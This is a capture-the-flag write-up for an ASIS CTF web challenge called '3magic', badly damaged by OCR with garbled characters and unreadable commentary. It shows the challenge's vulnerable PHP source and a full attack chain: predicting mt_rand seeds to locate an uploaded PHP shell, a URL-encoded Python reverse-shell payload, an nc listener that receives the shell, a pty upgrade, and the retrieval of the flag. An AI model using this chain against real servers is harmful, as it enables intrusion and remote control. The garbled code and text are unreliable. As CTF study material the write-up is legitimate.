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ping
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Usage: ping [-aAbBADERLNOGrRUVV] [-c count] [-i interval] [-1 interface]
[-m mark] [-M pmtudisc_option] [-1 preload] [-p pattern] [-Q tos]
[-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
[-w deadline] [-W timeout] [hopl ...] destination
uid=33(www-data) gid=33(www-data) groups=33(www-data)
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T—SRABREELIERIRE. BT , RAVRAFREBBATIE |/, FERERALSNFH.
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Result of the command find:

./index.php

./pages

./pages/ping.php
./pages/AdmlnlsTraTien2.php
./files

find: *./files': Permission denied

HAIEE , /pagessk TE—L.php3t , /files3fsk , HATLBERPRIAGIE , BE— M HERBEBHISHIYAIMIn1sTraTiOn2.php

>
eoce 3magic x \ +
€ ) ® @ | https://3magic.asis-ctf.ir/3magic/ C & Q search wE » = e

Opisable” L.Cookies™ CSS~ WiForms™ Elimages™ ¢ Information™ W@Miscellaneous™ ' Outline™ ¢ Resize™ £Tc
o ping

image inspector

Select image to upload: Browse.. No file selected. Upload Image
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index.php

<title>3magic</title>

<1i>
<a href=
' ?page=ping"’
>ping</a>
</1li>
<?php
if
(
$_SERVER
"REMOTE_ADDR"
] ==
'127.0.0.1°"
) 1

1 ?>

2

3 <li>

4

5 <a href=
' ?page=AdmlnlsTraTion2’
>admin</a>

6

7
</1i>

8

9
<?php

10

11
¥

12

13|
?>

14

15|
<hr>

16

17|
<?php

18]

19
if

20| (isset(
$_GET
-

21 page
mA

22

23]
$p

24 $_GET
[
“page’

25] 1




26

-~

f
preg_match(
AGAVAVAYA

$
)

o5

{

die

(
‘attack detected’

H

include
(
“pages/"
$p

-php
)s

die

(O}

ping.php

<p>ping</p>

<form action=
"./?page=ping"
method=

"POST"

>

<input type=
"text"

name=

“addr"
placeholder=
“addr"

>

<input type=
"submit"
value=
"send"

>

</form>

<textarea style=

"width: 3@@px; height:

placeholder=
"result”
>

<?php

if
(isset(
$_POST

[
‘addr’
IRt

300px"
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12]

13]
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16|

17]

18]

19

20|

21

22|

23]

24

$addr
$_POST

[
‘addr’

H

if
(preg_match(
ARSI IO IAVASS RN VA

%addr
N A

die

"invalid character detected"

H

if

(
strpos
$addr

5

) !== false){

die

(
"invalid character detected"

H

strlen

éaddr
) > 15) {

die

(
"addr is too long"
)s

@system(
"timeout 2 bash -c 'ping -c 1 $addr' 2>&1"

H

</textarea>

AdmlnlsTraTi@n2.php

<p>image inspector</p>

<?php

mt_srand((time() % rand(1,10000) + rand(2000,5000))%rand(1000,9000)+rand(2000,5000));
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21)

22

23]

24

25|
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// files directory flushed every 3min

setcookie(
Ttest'
, mt_rand(), time(),

)s

if
(isset(
$_POST

-
‘submit’

m{

$check

getimagesize

(
$_FILES
[
'file'

1
"tmp_name"'

H

if

(
$check
!== false) {

echo
‘File is an image - '

icheck
[

‘mime’

1

$filename

T/var/www/html/3magic/files/'
.mt_rand().

iiFILES
‘file'
"name’

15
// prevent path traversal

move_uploaded_file(
$_FILES

[

‘file'

10
"tmp_name"'

$%ilename

H

echo
"<br>\n"
H

system(
"/usr/bin/file -b '

éscapeshellarg

$filename

H

echo
"<br>\n"

H
else

echo
"File is not an image"

H



<form action=
"?page=AdmlnlsTraTion2"
method=

“post”

enctype=
"multipart/form-data"

>

Select image to upload:

<input type=
“file"

name=

“file"

>

<input type=
"submit"
value=

"Upload Image"
name=

"submit"

>

</form>

index.php:
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mt_rand(EAHNEEREN , BAIBEMERmMt_rand(EFIRERT , INRBTHET , AISEIXREXENhttp://www.openwall.com/php_mt_seed/README , tHa]LATREFI BT Ehttp:
//download.openwall.net/pub/projects/php_mt_seed/php_mt_seed-3.2.tar.gz
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fEphp_mt_seedikEFfh+

vagrant@vagrant-ubuntu-trusty-64:~
/php_mt_seed-3
2%

/php;mt_seed
1 1661750892

Found @, trying @ - 33554431, speed © seeds per second

seed = 6658

B IREHARF , BRAmt_rand0%£mR
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vagrant@vagrant-ubuntu-trusty-64:~
/ctf

$ php -

"
‘mt_srand(6658); echo mt_rand(), "\n";echo mt_rand();"

1661750892
E
350321027
BHERBHER LGN HES | UTIRIHRIE
1 https://3magic.asis-ctf.ir/3magic/files/350321027_image.php?c=python%20-c%20%27import%20socket, subprocess,os;s=socket.socket%28socket.AF_INET,socket.SOCK_STREAM%2S

S Rshell , SHflag

root@pimps:~
# nc -lvp 80

Listening on [0.0.0.0] (family 0, port 80)

Connection from [66.172.11.62] port 80 [tcp
/http
] accepted (family 2, sport 52079)

/bin/sh

: @: can't access

tty

; job control turned off

uid=33(www-data) gid=33(www-data)
groups
=33(www-data)

uname
-a

Linux web-tasks 3.16.08-4-amd64
#1 SMP Debian 3.16.7-ckt25-2 (2016-04-08) x86_64 GNU/Linux

$

cd

/
1
2

$

1s
3
4

bin
5
6 boot
7

dev
8
9

etc
104
11 flag
12}

home
13]
14

initrd.img
15
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48]

49

initrd.img.old
1lib

1ib32

1libe4
lost+found

media

opt
proc
read_flag

root

sbin

sys

tmp

vmlinuz

vmlinuz.old

$ .
/read_flag
Segmentation fault

$ python -c
'import pty; pty.spawn("/bin/bash")’

www-data@web-tasks:/$

www-data@web-tasks:/$ .
/read_flag

}read_flag

Write
"*please_show_me_your_flag*"
on my



tty
, and I will give you flag :)

*please_show_me_your_flag*
*please_show_me_your_flag*
ASIS{015c6456955c3c44b46d8b23d8a3187c}

www-data@web-tasks:/$
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